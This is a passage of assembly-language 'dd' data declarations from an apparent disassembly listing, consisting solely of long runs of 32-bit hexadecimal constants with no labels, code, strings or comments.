0AF34646h, 96D5E0AFh, 7E0CFE5Ch, 99D591C6h dd 85C1F95Dh, 6E836731h, 83A5284Bh, 362FFBE5h, 5F6FE98Bh dd 7A651F28h, 6BFF896Bh, 0A7C2288Eh, 2B087A91h, 501595DBh dd 0F747E876h, 0A6FCBED9h, 5EE2A563h, 5C506232h, 899C1E7Eh dd 2CAB166Bh, 0C7647B9Ch, 2B4DC34Ch, 4EF24920h, 0D40778DBh dd 0A09152D1h, 0F4B885h, 76BFEE21h, 0BC093FF5h, 0EF6C403Eh dd 841C2BA2h, 0EC2CA301h, 0D86C1CA8h, 6C8C5469h, 0E4B6BD9Ah dd 869F1FD6h, 0E0EDCBCFh, 0B4E3B974h, 817CC15Fh, 109A834Eh dd 8C3A31A9h, 3EC02DF3h, 0B877EA85h, 7AAEE9ADh, 1D2EB2F4h dd 0E22026Dh, 8C4E3F89h, 81A44D40h, 0CAB27FDEh, 853E4A2Eh dd 96E9F41Eh, 733F840Bh, 0C70F6625h, 227D1390h, 0FDF94D2Dh dd 0F58F84B2h, 69B4E9DDh, 0EFAE3E25h, 123A2BA5h, 2029EF7Ah dd 4F77CC05h, 6F67BF9Bh, 0A8272413h, 0F8A80h, 0A8F445DDh dd 23386D3Ch, 91A2749Bh, 8CE3A0E7h, 945CDAE7h, 0E49DB46Fh dd 949AA4Ah, 4FFA8089h, 0E9D885F7h, 4529B5E2h, 4ABEBCC4h dd 522F35F4h, 708C0EDAh, 20DFFCE7h, 1782334Fh, 9DAFF596h dd 0B893AB42h, 0DD19FFA0h, 0BD0A51DCh, 77005D0Dh, 833F62ACh dd 0C0A95E75h, 7C4AAD69h, 0F1A09Bh, 0D5B8BBE8h, 7DA8376Ah dd 64AB8087h, 0D8F7FBE3h, 0ECA375D0h, 7D0D58E1h, 253F76B3h dd 0AB38962Ch, 0BFDA06C6h, 0C66E4EE3h, 0C43D0B8Eh, 0A55BA16Ah dd 0FCCD1681h, 0C471BD9h, 610D0158h, 610E7E65h, 5FFC19C9h dd 0A3C2C5EFh, 41FCA6E0h, 31A25D1Dh, 0BCAD9E1Bh, 0D61638FBh dd 98AC5139h, 1C884463h, 83518938h, 993907FBh, 0FEC6E81Dh dd 0D412428Bh, 31D7F76Ah, 2CCB76B7h, 132DFA9Eh, 0C18067EDh dd 21B78629h, 0F4E63BBBh, 4D0A27BFh, 3655D5AAh, 8547E98Bh dd 0E694B9ADh, 30DFF74Bh, 0B4BB0BBAh, 25FFFD8Ah, 33983B5Dh dd 2D1E7F60h, 4FC0262Ah, 9D2203EBh, 0CE0C54F8h, 850BC66Dh dd 1F845130h, 36292102h, 800404D5h, 687E5DAAh, 209F9C13h dd 246C20DDh, 24D727F6h, 0E6453A5Ah, 0DAD52FA0h, 571D6536h dd 72B9C7E4h, 0FF724780h, 1688EA61h, 71D5C2B8h, 0FE18E2ECh dd 90DFD268h, 252625D9h, 0A6229CC4h, 80EB9923h, 0F1412A92h dd 0F43A6C78h, 646A65CDh, 168B4985h, 9A6332F5h, 0FC1DFD66h dd 44B4DCFFh, 6D22C0ADh, 0E46A8C4Ch, 7E8BA7F8h, 479DB76Bh dd 35498EA0h, 43867ACh dd 1D266B10h, 0C3848158h, 0EAFB74FBh, 1452E086h, 58DA0B09h dd 0A1E800D6h, 0D488ECB8h, 0BF8D98E9h, 25F73B03h, 7E848FCAh dd 0E6B082B3h, 0ABB9A51Bh, 73016E0Dh, 58F461Dh, 696504Dh dd 0D1AC225Fh, 0EAB72B83h, 0DF2391F5h, 343A81DEh, 0CB3E8C40h dd 65D76D82h, 0C7155FDBh, 33CE37D3h, 18DC65h, 43B6A17Eh dd 6BF9A411h, 365C7D8Ah, 0D0AEF2Bh, 7D22D05Ah, 0CAA02C7Ch dd 0C0BA7766h, 0D52A5C6Bh, 221D3A37h, 0BDF9DC41h, 0F6884E4Eh dd 0C5E69BB4h, 0EF99665h, 5A49BB9Ch, 67C64449h, 44DF9B10h dd 0BF07E923h, 0F7F52B82h, 0A322F70Eh, 15B56126h, 0AB9EFE73h dd 0DFFDAC3h, 4779809Dh, 493A9A73h, 4E759841h, 91B6742Ch dd 969D8C32h, 0C73000A6h, 0C8D128DDh, 0CC789311h, 0B921028Eh dd 30DBA5D9h, 849BBE12h, 4D19F9Fh, 4012DB0Bh, 57E35A0Bh dd 1ABC6DACh, 0D5344993h, 0B3F4F42h, 3BD78F78h, 0A41748D0h dd 5A6ED68Ch, 0A381A5B0h, 0C0178499h, 7428D926h, 945192C8h dd 0BCB19E1h, 0A83B6032h, 0A70BCCB0h, 0CB4C28E9h, 0F970318Dh dd 44880B8Fh, 968491Bh, 0E38FA60Eh, 426B4788h, 0E9C70CAEh dd 46DD1829h, 0AF72FFAAh, 6C50A44h, 8142452Eh, 391E497Ah dd 0ABBA5AD5h, 42ECC77Ah, 6F39BFA1h, 0A58E6703h, 0BE1C9676h dd 0E78026C6h, 26E0A7E5h, 9E42C924h, 0A1AE570Bh, 63C65078h dd 0AB602992h, 92C7D327h, 6975E3A4h, 1C5AF842h, 0F68B0E3Dh dd 0CEE2EFFh, 17FF707Ah, 1AD60540h, 99D1424Eh, 0F18B9323h dd 0DE628872h, 32D6DDF3h, 0DACA97D2h, 0AECFD9B3h, 87067BE6h dd 13E12B28h, 9434ACC3h, 0B1515D5h, 50F56915h, 604F7291h dd 75E56833h, 7071678Ch, 4E4DCF36h, 36E4AB9Eh, 6C9C691Ch dd 0E1C4BD0Eh, 0E549764Fh, 647A7F0Eh, 0F54D9D83h, 0AA84438Ah dd 0C9C2D226h, 7FD5A4Ah, 32806A6Ah, 127E6427h, 97D6DDE8h dd 346AE10Fh, 0A734A935h, 0A1611BD9h, 27EB9F99h, 0B980FB65h dd 4E34377Fh, 21F93209h, 5D8E0673h, 6283E77Dh, 0F4BFE8F7h dd 79F5D243h, 0EFF8847Eh, 0B035CF99h, 5809F31Dh, 55942F29h dd 0F6CD5F27h, 1CB382E0h, 0BAAC582Ch, 0FDADB850h, 0DCCDC89Bh dd 0DC53ABEAh, 1AED4A86h, 0F02004A1h, 77AA602h, 8799A1A2h dd 34667AE8h, 879B91F2h, 68028EE9h, 9B80AD6Ah, 0FD5711AEh dd 0E5F4112Eh, 9CC2FABFh, 4C23CA77h, 0E754C328h, 0D4A16D84h dd 8A0CBF6Ah, 78052AF9h, 3DBFCB57h, 29086E47h, 52613B9Ah dd 4F1C57A9h, 0FDF2AC56h, 6422245Fh, 34079970h, 2577AAC2h dd 860432F2h, 99C0DF5Fh, 6E9AC5C9h, 1B6500BFh, 0A44A9604h dd 0C07F76D2h, 40E1F17Dh, 0C55176E9h, 926CEC77h, 0DFF69A7Bh dd 228CB3F1h, 5C6219D2h, 9AF2332Ch, 4F2940A0h, 0AD222A1Dh dd 5F1C72D0h, 15B0B215h, 0E249B7C3h, 7E991CE0h, 384095Dh dd 51D0D6F6h, 0B1EE09AFh, 0DF4DB56Eh, 48D96F13h, 2A27B337h dd 6F13A4DBh, 0BA59CC60h, 0E8E8956Ah, 950E3F27h, 0ABBFBDDEh dd 632BBFF8h, 94A35952h, 1520ED77h, 47401F97h, 2D36C858h dd 36641095h, 0CD65DCBh, 33AFE3D5h, 0B6B0D1AAh, 0B771439Bh dd 0D2FEC267h, 863C62Dh, 35FE6AB0h, 0B173C899h, 0A4861C92h dd 9040BA76h, 0E24B3C40h, 0CBF1A1F1h, 8C9DDD5Ch, 0B1363D64h dd 8EE3AD2Bh, 403CD651h, 613FA3BDh, 0CCD2F008h, 82A7F076h dd 1AFE8A74h, 0B6F69F0h, 28CA60AAh, 1DD80C5Dh, 8EFB33B6h dd 1F5D61BFh, 7173C3C2h, 0EF34BA63h, 0DE39FC62h, 5EA32DBCh dd 0E08540EBh, 3E8E12F5h, 6F2A50E9h, 0C1E16783h, 0E77CAAC6h dd 0AEE27EDBh, 94A8C252h, 0D01FDA3Fh, 0BF57BD59h, 0BB06A8F8h dd 57F58B02h, 4FA4CE5Fh, 0F86AB530h, 8571A73Bh, 3A522A75h dd 44ABCB22h, 0C6CB326Bh, 0FE46BED2h, 2B4258C4h, 21A7EC31h dd 98D99277h, 80432961h, 11C3187Bh, 0CC133DB2h, 5883E069h dd 4524BBEEh, 0B9A5038Ch, 254AEAF0h, 37F259F4h, 237FB298h dd 4EAAD67Ah, 0D51F7172h, 8B27E923h, 0F2D25ACDh, 86FF0631h dd 0BEC79CB9h, 20A6525Dh, 0B7146636h, 1A2BD434h, 7B8BB1CAh dd 89EB2919h, 44D3E612h, 70EF2691h, 3A1CF24Fh, 4642288Bh dd 28B1189Ah, 0F5B012A8h, 0F5A26F3Eh, 2EB54A0Bh, 0A919DD97h dd 4706966Bh, 7F1DBB51h, 8BC6B943h, 8630F57Ah, 0D874FD07h dd 4BC7952Dh, 0B4B81FEDh, 6F5A4DB2h, 0DD0C212Dh, 0FD3EFA1Ah dd 377352Dh, 379627B9h, 8109BD11h, 2AA7F061h, 69DE34C3h dd 0AE079B60h, 0B68D6ABh, 0B1406963h, 9008FE48h, 1C923378h dd 90CCAAE3h, 5FB2D546h, 0FA0201AFh, 0B494B8CFh, 0FC333132h dd 1804CA1Dh, 0A5AB649Ah, 0D8AD10D5h, 0CA30C5CAh, 0EE466721h dd 0BD6BB3h, 8CCC7633h, 59DAFF17h, 0EBCB67Dh, 0F52EBE4Dh dd 426F078Bh, 0E2B04111h, 0AEB72620h, 0ED9EEF72h, 8DEC5309h dd 0F8572D34h, 0E39AF9D3h, 0AC1E5648h, 0DEE52F39h, 9C4FD07Dh dd 94B919FAh, 4F42B1FEh, 0EA211888h, 0FAAC5483h, 0A98C8F56h dd 39B9DBEBh, 0C1EB3357h, 1CCB15EDh, 8FC9C20Ch, 9A4A12A2h dd 1844B27Ch, 5B922613h, 0C40BF325h, 45122082h, 0C9BFF822h dd 5AB378EBh, 29C75677h, 0A16A2E92h, 0C143EF5Ch, 810B0D64h dd 16844B69h, 768EF970h, 74EECE05h, 0DD3CDA17h, 3AFF8587h dd 0D19BE534h, 7CD7CC9Ah, 0FE539F58h, 3A5EEC99h, 0D39251E0h dd 4C5B5C41h, 3FA2B826h, 0C7A10F5h, 0F0ACB21h, 5C0562ADh dd 18F671C2h, 0BB2C51A2h, 0B15828F8h, 60707236h, 766AED73h dd 9D57948Ch, 17CB1EF8h, 249972D1h, 94B85CD0h, 23CE4928h dd 0D91A540Dh, 0B91898DEh, 209C81C6h, 0AB3FBF42h, 0E2FBDD1Ch dd 54D3645Ch, 6AB981E0h, 0D349874h, 0F3471D5Dh, 49440380h dd 4754985Fh, 0A425A834h, 71A7502h, 0B63BDC53h, 8A4BFCD1h dd 0B6696B6Ah, 0DD27D5D3h, 31428C8Dh, 23BD88F1h, 3510FA45h dd 0EDBA254h, 0EBE35246h, 5572EBC0h, 0FA4B368Dh, 0C3EEF342h dd 96501B18h, 0A5498624h, 387A93CAh, 0B7289E59h, 8D954CFFh dd 0EA362B38h, 0F7825EA3h, 0DBEB14A7h, 0D8EF583Fh, 13624F08h dd 2F8A5C0Dh, 1DDBF62Ah, 42C476B6h, 0AECDEBC2h, 287D4727h dd 985BF4F4h, 0B14655E5h, 315B0D4h, 0DC5AF456h, 82486837h dd 33FDB3B1h, 8EBFFA27h, 39080842h, 0CDF8A68Ah, 0C222F8CDh dd 8C084F22h, 0B8855E1Eh, 0F1CF932Ch, 15FA2D13h, 3CF9380Ch dd 0D4FFDD47h, 11720DCBh, 0D6FA9F0Bh, 8A9AEE90h, 0F91F0C3Fh dd 55C97058h, 6D7F14FBh, 0A5FCF7F8h, 1601F2E9h, 0E0952F4Dh dd 0BF28C2Dh, 6D024491h, 0B8D543D2h, 6F6C5483h, 19B5A0EFh dd 0ACF7E0FFh, 0A1E0BFCDh, 0EBC41814h, 0D7EB2686h, 9FD30E61h dd 0F8CCD8E8h, 0B6F66B8Fh, 3D94EF37h, 0A84FE5F4h, 76E7040Fh dd 6DD3316Ch, 0CDBDB013h, 0D5ABD8DFh, 6DE5659h, 0EEFCEB88h dd 0B664983Bh, 5C0B64h, 0AB04EA65h, 6574D092h, 73CC52B4h dd 267C4E24h, 0D77A3B4Dh, 0A5D8D682h, 1B1CA92Dh, 0C4F6171Ch dd 33CC9742h, 135DDE72h, 7E7EF9CAh, 7D68DEF5h, 2FD8BA9Ah dd 0F9CD145Ah, 82797D64h, 0E594565Fh, 721356EBh, 0C6EF1767h dd 3E307E6Bh, 4DD27860h, 20C2BBF5h, 0EAE6AFFFh, 5F73B4DAh dd 0EB82ACAEh, 0BB39C84Ch, 0CE925151h, 4FE6D3B0h, 0F4A23126h dd 3E1E99CAh, 77271C63h, 1C1AED5Ch, 8540922Fh, 86E5E4BDh dd 0EB16E50Fh, 0C0BD649Ah, 5B9D9BABh, 420CD1DBh, 3FB933CCh dd 0C1A26B50h, 48D1A382h, 85E27321h, 0BE55C90Eh, 2FDC67h dd 664981BEh, 91E7D885h dd 85BC922Bh, 7AF8B3FEh, 38F69D7h, 43EFE895h, 261AADEFh dd 7C5C7A9Dh, 0BDB096Ah, 896232C0h, 0E795657Dh, 11829825h dd 709E6F12h, 42F694C8h, 4E0E5523h, 4CD8792Ch, 3950A1CCh dd 2DBE761Bh, 8D76D6C8h, 46DC107Fh, 95A1AF11h, 5F755F7h dd 38E7CB68h, 0E10B476Bh, 9C45FE21h, 0AC12D451h, 0B7576A01h dd 5226D46Ah, 0C4D0C68Eh, 0BB9ACEFh, 86D99495h, 8AD40A5Bh dd 331D15FDh, 0A4B8722Dh, 40CBC4C7h, 0B8FD67A5h, 597DE3ADh dd 0E2A2C7DCh, 0E2A8036Ah, 6FD0D422h, 0BCE566BEh, 0B3305979h dd 0B5545CA1h, 0A6A4FC3Eh, 5A50A111h, 0C0886F25h, 63CA3AFFh dd 82868442h, 0F4869919h, 0D97D4D02h, 0B6A342CBh, 96B4A1BFh dd 0A323D196h, 0BA0717F4h, 999816A9h, 0FBCF1114h, 37D5FA00h dd 36A7BA80h, 732989A5h, 0DEB874CCh, 1A4F03E7h, 913F78F1h dd 3EBCCA94h, 1E390FABh, 94C93E15h, 89353290h, 0E6EF892h dd 35B15727h, 6CDA0B96h, 0D3E1D0ABh, 5DA8EFA3h, 3EE52827h dd 1CA7FA8Eh, 68028E6Ah, 6B49B9D6h, 1DC2BF47h, 0FBB8C53Ch dd 0EBF78F3Fh, 0CEBA19BFh, 34289B23h, 82D3AEA8h, 0B6E6950Ch dd 663208CEh, 830C8C59h, 0C6B02EC2h, 77CC508Eh, 756E39F8h dd 91594C2Ah, 73274834h, 78B3578Eh, 4286BC46h, 0CBDCE15Ch dd 5B52E02Dh, 9395BB85h, 0A8EC91ABh, 6E551894h, 0E64228h dd 441FC415h, 0E99D32C0h, 4ADD56ACh, 529499C7h, 76363B9Ah dd 8E8E31F5h, 706E7605h, 0A3AB7A31h, 0CA67E2Ch, 0CE0E03ECh dd 0B2647CCCh, 0DD53D4B1h, 1BC3F5CEh, 0B7FD8133h, 726B2346h dd 0AF9AB6A6h, 676722Fh, 0A18BDB04h, 41836094h, 3677FE7Ch dd 0ED02F259h, 82A6C3F9h, 0DF8F7907h, 617EEEE8h, 4E4C41C6h dd 55111DC0h, 4C4C2688h, 5FB556A7h, 340D26F4h, 0F62F538Fh dd 0DDD29628h, 0C58C3361h, 9BDD5549h, 198291FEh, 4F2ED7DDh dd 69AE6CD4h, 0DAEB3ECBh, 6D728054h, 0ACE77870h, 11FA12Fh dd 497DA99Fh, 0DCF790Dh, 0D749C06Bh, 32D38D6Fh, 9F169F85h dd 0E1D05FECh, 0A59F8D6Ah, 0FC183631h, 955D33E6h, 0B5828EDFh dd 27C73038h, 0B8990520h, 0F7792882h, 0AA056447h, 0CE630096h dd 0E03AD0D9h, 140D4863h, 533601B3h, 0BF6AADA8h, 0A02644ECh dd 0EC3DB686h, 60641179h, 30E133DAh, 0E4986EF9h, 5FF3E9D0h dd 6B25F134h, 0F91A59E1h, 6B56102Fh, 0C9C1CD05h, 0CB5AAE6Ch dd 0D632B51Eh, 0B68C00CAh, 0A562ED64h, 0FD10B53Eh, 0A5658C55h dd 0F3AB0CCFh, 979E7957h, 0D177DB73h, 3F96D239h, 0AFA93990h dd 752A10A2h, 80054A6Eh, 0B51273ECh, 0DFE6BC01h, 4B4CF423h dd 0DC22A65Ch, 0A2DC2C1Dh, 0CE3BA20Bh, 36562899h, 896491F0h dd 22B07F3Ah, 39368537h, 1EE729F1h, 7C4A852Dh, 3573BFB2h dd 8D897229h, 4868CBB0h, 0BCF68A49h, 0E3C7479Ah, 7FB1F688h dd 0F72473Eh, 22B23FCh, 39FB9C82h, 0E4CF44B1h, 0E75B3BB6h dd 585E8CD3h, 379B8431h, 384C891Bh, 31B7BD61h, 0F9A01C57h dd 2A6AE605h, 0A6A05C23h, 0A64A0976h, 4A09C1CEh, 0D9369763h dd 0D1871A4Ch, 0A5144577h, 288ACAF3h, 0D1E29347h, 0E9923638h dd 9F6526D8h, 1FFDD3F6h, 763C2840h, 68B9C5F7h, 0C056E25Eh dd 13C7AC52h, 3188FDE4h, 20EED06Eh, 418140E2h, 9395E0E1h dd 0AC9C0E87h, 0CD9823A4h, 5BAAABCBh, 0C3B90428h, 0B3DC7F9Ch dd 3D9697AAh, 0A8C54502h, 0B9A286E8h, 9A0C5A65h, 182CB6F7h dd 27E8992Bh, 2CDE57CCh, 0A6499600h, 7D8C7019h, 0F4BEB1FAh dd 0CF1CC042h, 3DC0F2A8h, 7B5A60E3h, 304C6192h, 2D26A712h dd 0E905E1BCh, 7963D348h, 1B10FFC6h, 7596A11Eh, 5805D7EEh dd 40B8A0C4h, 6E315AEFh, 0F6FCCD5Ah, 78D1841Eh, 0C2E60C43h dd 0B85B5DE0h, 0C41076BBh, 0C9FA91E7h, 17E5F657h, 0FA0A6C5h dd 53967CFCh, 457B0FF7h, 159F0491h, 0F97D6435h, 249C7ACAh dd 3358CDD0h, 0E9B8A314h, 7B9B5212h, 5FF9F047h, 0CE9BA242h dd 62CE0580h, 33F22F6h, 0BBC8D545h, 3EE1F7AFh, 0F7AB105Fh dd 9122E90Bh, 21855124h, 2CE774DFh, 49870E82h, 93713EC6h dd 0C9ED8C82h, 2F1DB9E2h, 32CDE4BCh, 344FA13Fh, 0DD370D36h dd 576A9A99h, 448B0C07h, 6ADDCDBAh, 634ECFAh, 0D674539Dh dd 0E1D386CBh, 0D9E7DA31h, 0A46125FBh, 0F241F670h, 409F9497h dd 0DEE68EE5h, 37F787EAh, 4CC88BD4h, 0E267103Bh, 568D589h dd 551331B4h, 0AEF240EEh, 0B7E81309h, 0BD888BEEh, 44EFCBB5h dd 7BF92239h, 870C611h, 3DADEC64h, 5E16F2CCh, 9EFA576Ah dd 0C28D63B0h, 8271DA46h, 0EB7C9FF0h, 0F1D4CC79h, 0B254D78Ah dd 0BD301E4Ah, 8EFCD554h, 488F81DDh, 3A701F91h, 77D8E521h dd 4598E725h, 0B85E721Ch, 4483F425h, 196E9A9Eh, 55EE4C0h dd 82C62C7Eh, 6441885Eh, 5698236h, 2FAEDD8Ch, 0BB32C80h dd 3BA1D6D8h, 0C03548BCh, 2CDD9BEDh, 0E336FAFCh, 0DD1F0657h dd 0B2757B33h, 0FBD8DDDFh, 45D8A1CEh, 0D6008E3Bh, 0C5925B12h dd 0A661A8D4h, 1ED478D8h, 0F67CC358h, 58A5EF64h, 0A1B7F480h dd 93E13BB7h, 2DC8A4D1h, 0F23032E5h, 0CBAC1DF3h, 0A7F7F2B3h dd 4AAB17BDh, 7CA60AD6h, 0A182A9B0h, 492D4CD7h, 5F68DC33h dd 0FEB90E7h, 0B0A9CD0Bh, 0A212CB96h, 63284FBBh, 0D62FDFC1h dd 0F9135F55h, 7695DF40h, 82DBBB8Ch, 59FA5227h, 6A6D65B9h dd 0ED51405Bh, 61FE31E6h, 0D0147C91h, 66EE3ECEh, 986F38A7h dd 1B7B65C1h, 0A775583Ah, 597CE81Eh, 1CC6DD2Ch, 735A2A9Ah dd 38EA715Eh, 9D2405C2h, 23DEC27Ch, 0AAB0217Bh, 4360625Eh dd 58C4E9A7h, 6CD0E8FDh, 1261EF25h, 0B5F25458h, 0E91F1897h dd 0B67371A0h, 55603F95h, 0F185198Ch, 0DB02CB63h, 0C8AEB7B5h dd 27BADBFCh, 8379D410h, 6CAE0523h, 28D98A31h, 34A227EDh dd 0D4388638h, 5AB7336Eh, 172ADEh, 624E8E6Bh, 0D771109Eh dd 0BD5E970Ah, 86FF111Dh, 2F3374BEh, 634E0590h, 2006B42Bh dd 7426B89Ch, 1C46214h, 0E29E736Eh, 0E715CE67h, 6DCD3E03h dd 0AD3152A3h, 78D48E07h, 1B2FD0C0h, 0BA424B67h, 0C9D7C5E5h dd 0F72E3224h, 0B4C9F09Eh, 7E809FD1h, 0F0D2396Fh, 0FC20C254h dd 7E8B6291h, 337B5189h, 840E9BC6h, 67C92792h, 0CAC64A90h dd 0CB78B4BBh, 209C36E1h, 1E1E7139h, 0ACA1CE2h, 37BCD573h dd 2AA9B0E4h, 8CFA9C15h, 47A9BB62h, 85E5B81Ch, 69CF55A3h dd 0ABFF6547h, 0B4D24972h, 0E944F015h, 0BAD6F520h, 0A06338C7h dd 2A32B29Fh, 213D45B3h, 3C23037Eh, 44AC4879h, 0D677A806h dd 468A8AF8h, 3EC3CEB3h, 0C8B3BA8Dh, 0D0567D06h, 9CFD2345h dd 0A398C371h, 8234478Bh, 30BCB40Eh, 0F4F364A7h, 0BE757A5Bh dd 3E925CD0h, 592240BFh, 0B7BB5B14h, 0C6379F47h, 0FBFBA709h dd 4E7FF8F5h, 1AF3769Bh, 0B58BDCFh, 0BB7DEE17h, 289D3982h dd 0E1A5D714h, 6CF5E60Bh, 0F9C3A9FBh, 91371B73h, 4FDDA8ACh dd 6A2EBB0Dh, 868A8FF9h, 0DB07EDCAh, 1181B3C1h, 93B9F5D0h dd 34A3A05Ah, 5D5AAF42h, 0BEB49CE2h, 0B839421Ch, 0D4A2E687h dd 0F10742D0h, 76E6E329h, 0F496ABB7h, 2276EF06h, 7A58D7CAh dd 21A31AD4h, 9197A730h, 36347CB5h, 0EDDEA151h, 0D1154145h dd 0BB51EB37h, 63B830E7h, 7C94190h, 868D79B0h, 403451EFh dd 4A5E279Fh, 870E5710h, 87F08D98h, 70594EA2h, 410C2BB7h dd 9E580188h, 0D7C0D546h, 5977BEC8h, 0B124FA86h, 56937337h dd 9F23B8F5h, 25536202h, 23065B11h, 4389AB6Bh, 44659AC7h dd 95A8F22Ah, 0F0FAD328h dd 72C61F34h, 0B948F0BFh, 81A9649Fh, 0B11ED77Eh, 7E8140EEh dd 0DE80174Eh, 0C751D13h, 1E3957DDh, 0D85B9E77h, 128E8817h dd 4FE2775Ch, 95D9DE0Ch, 85EB1233h, 0BF2C084Bh, 0A303EBABh dd 0E71E8FEAh, 3EE477F8h, 0FCCF1B4Dh, 9E9641B4h, 0EDDACC8Ah dd 22197E33h, 391DC2DEh, 98098789h, 3517A727h, 34BBB86Dh dd 718E30A6h, 0DA00276Ch, 90CC4020h, 35707C29h, 5E17BEA5h dd 5C60EC56h, 59A31D21h, 608A9C2h, 0F15C001Fh, 0DDA1C57Bh dd 0E61D9666h, 816587D5h, 54CB520Eh, 0CD21DA68h, 0C847F53Ah dd 227996Ah, 0E37FA6C2h, 0D45297E6h, 1A3DFC7Fh, 4DF4D6D5h dd 9A24C5CBh, 70811380h, 57C6D59Ah, 0CC0EDEB5h, 71861441h dd 0F3D3E7B5h, 0D342B19Ah, 6D5944C7h, 0CB6B33EDh, 8A4C64BCh dd 0F5BC9998h, 0D5B1A056h, 5C1A3BDEh, 0A0BA0875h, 6528F42Ah dd 0B512AAD9h, 0D3869F52h, 28A0BD76h, 0D1E6088Fh, 0DE35DE29h dd 0F31DF46Eh, 0B838AD6Eh, 0E354E1E2h, 0EE25F68Bh, 0ABBB0B01h dd 0DA399908h, 4D755C6Eh, 0F46A097Ch, 34132B4Fh, 72A685B3h dd 54827D7Ch, 90D31721h, 0ECEB9074h, 0CB0C5813h, 0C7D0326h dd 0CB8C1452h, 0B44CE0E4h, 0E7A378Dh, 0C7C2B9A3h, 0EEDD7999h dd 50B60C9h, 9C45F5FDh, 0B301F870h, 92E4BC79h, 625E2E1Dh dd 0EE3A8712h, 0A78BEE26h, 13B11CB6h, 2CED78DDh, 0AF30B0Ah dd 0FE70F3D0h, 0FDB32A60h, 1D224C4Eh, 6FCFD77Bh, 0ECE68080h dd 0C61C9456h, 5C2012F6h, 32706A16h, 2FBA049Ch, 4C25A7CFh dd 0BAD9AFC2h, 7B69D129h, 0ED3FEB0Fh, 0ED69E290h, 0F255155Ch dd 4780F8ACh, 2C8834BCh, 0B83F23D7h, 3E20BD29h, 0DCAA94FAh dd 175287E0h, 0F313C723h, 9BC4E81h, 4F6A54CBh, 53C6ED80h dd 2D8A5B2Eh, 0C4B7D9BAh, 3731B213h, 4149FC07h, 2B7CD07Dh dd 811CB124h, 3718B6BEh, 991B6686h, 285910E0h, 0CC50C4E9h dd 3F8880BAh, 18E57F74h, 0F5852896h, 5301F8CBh, 30D51CAFh dd 19A85A97h, 0B1B968Dh, 724516C3h, 44273CC6h, 0C027ADAEh dd 94B92CA6h, 0D11128C6h, 0EC4142C0h, 0D167A47Eh, 820B368Eh dd 28139D2Dh, 0AB9E3F97h, 2B6569DCh, 5773F522h, 2CF0F313h dd 0D7F8FAE9h, 0E7321D25h, 9BB3B836h, 0E2A27490h, 0BDE3AC46h dd 0A99694DDh, 59F3A3C1h, 8931FC72h, 4703ECF0h, 0CA58C2E8h dd 0E0C52DBEh, 9A35E982h, 993CAF65h, 0E49D0501h, 90AE77E6h dd 0BC1547FCh, 0BC9CD2B0h, 6C02C358h, 0D01BC350h, 0CCDBD589h dd 1E5CC400h, 0F437052Dh, 0AA171495h, 969CF17h, 24BE076Dh dd 2401360Dh, 0D829DB93h, 0C2941DD3h, 78111D65h, 358660Dh dd 37112695h, 0ACE4EA15h, 0D659A4A8h, 0DAAEA834h, 0C5D0F473h dd 34BBEF37h, 0AF8E2546h, 76C73037h, 2C13EB3Bh, 0A29DD373h dd 1AFD4178h, 56039C91h, 41A04D4Dh, 3A308FA0h, 8509BBF9h dd 4E9ED911h, 65D783C0h, 91908492h, 0CF546C05h, 478DB499h dd 6E6E42AFh, 0F981977h, 2ABF2526h, 0E715C3BCh, 0EAFC288h dd 8F0184D7h, 11D972Fh, 3C25F886h, 7DAA735Eh, 770E2124h dd 253819C3h, 28F89179h, 0F2EA3F4Ch, 9664973Dh, 0A4BA749Eh dd 199F110Bh, 3B0B820h, 3F59073Ah, 36146B07h, 0CA42A8F4h dd 0F8DDDF53h, 0C6A20DE8h, 0C5E17AE1h, 233E601Eh, 97FCF3C1h dd 8A248FC5h, 308913FBh, 907DE349h, 28E9F6E6h, 0DBB8AD99h dd 6BF16382h, 7B6D3CC4h, 0BD96E0DEh, 4997FA40h, 0FE590F57h dd 32B5EA7Fh, 17C86FDAh, 3FAE0E1Bh, 0F96DCA64h, 0B2F82747h dd 0E6DD3A05h, 82B91624h, 81849000h, 2D1D5090h, 7B2F31Dh dd 40F04171h, 0A1838832h, 9B97C9E2h, 840BBCFCh, 0F645FA1Ch dd 52710E03h, 487E5B99h, 121BB112h, 1CB7861h, 0E12CE95h dd 77ED4F53h, 0EB11BA51h, 388E7B49h, 0A84B3D65h, 0FCC7369h dd 3EA6DA9h, 0EE58ADCFh, 0FD1487C4h, 65AC8E5Eh, 33667B77h dd 0D85AA670h, 67561E5Ah, 0DEEE95B3h, 0E04E3AD5h, 34A5FD3Ch dd 912FCC76h, 387620C1h, 0E803CBDh, 66BA51B4h, 0D4EDE221h dd 0CD0AF6DAh, 7B9DA3F0h, 8A443727h, 99468B31h, 6FFDB460h dd 115FD003h, 25B2736Bh, 2A6878BEh, 0BCAA7E64h, 0E78815B3h dd 0AD658175h, 5889E23Dh, 0C908F365h, 0F5D7FFB5h, 621824C1h dd 531AD0B6h, 1F191B1Bh, 0A14CE943h, 4B5B2FECh, 70440950h dd 0EF49F39Dh, 0C30EA1Bh, 68E8AEDAh, 0AA259D89h, 1EA59CFEh dd 937476F9h, 1D33AE81h, 417F0ABBh, 46D1A26Fh, 0FB18881Eh dd 63566055h, 53AEDC04h, 6132FB60h, 0A57CABFDh, 0F408FC5Fh dd 9233B612h, 0D9F99D0h, 5EDF815Fh, 5540C652h, 0BB11CC21h dd 5DB66279h, 9C3F7E49h, 0D33FB7ABh, 55060C8Bh, 0A4800E07h dd 0C09743DEh, 91C9AAB2h, 67256910h, 0C43B71Dh, 173B78F7h dd 1C9D0B0Ah, 0C3338CD7h, 0CBD0E64Bh, 7AD912Ch, 0B13FAD3Ch dd 0C351B0CBh, 80A3FD61h, 7394A244h, 0CE7138ECh, 704EC667h dd 0E17E95EDh, 5089C170h, 203C8A9Bh, 63455988h, 3FD51565h dd 2D90F1F8h, 86446E21h, 3C3A0943h, 0CD1406D3h, 0EAB7420Dh dd 0E9DE9C9Fh, 2FFBCE67h, 94145391h, 1757A2AFh, 0A34DE98Dh dd 53098DCDh, 46DD8852h, 6A3942EAh, 313F5Dh, 22707132h dd 5AB04B54h, 85B5796Dh, 26D15E7Bh, 79EAA75Fh, 0F2522196h dd 90D44BE8h, 0D99EEBDFh, 699F135Bh, 5363628h, 3646D0Bh dd 1D883CEEh, 0FE2D56D8h, 7A940C0h, 0FEDAFE0Fh, 0E5041BF1h dd 0C8A2F223h, 0EC885C6h, 2C0545E2h, 0F3148B2Bh, 0A08E0181h dd 3504E2DFh, 21242B88h, 829A3975h, 57D52D1Dh, 0DFE13D34h dd 0BB479777h, 4F904847h, 814484FAh, 0F7EA4C9Ah, 51E3E986h dd 0E27B8ACEh, 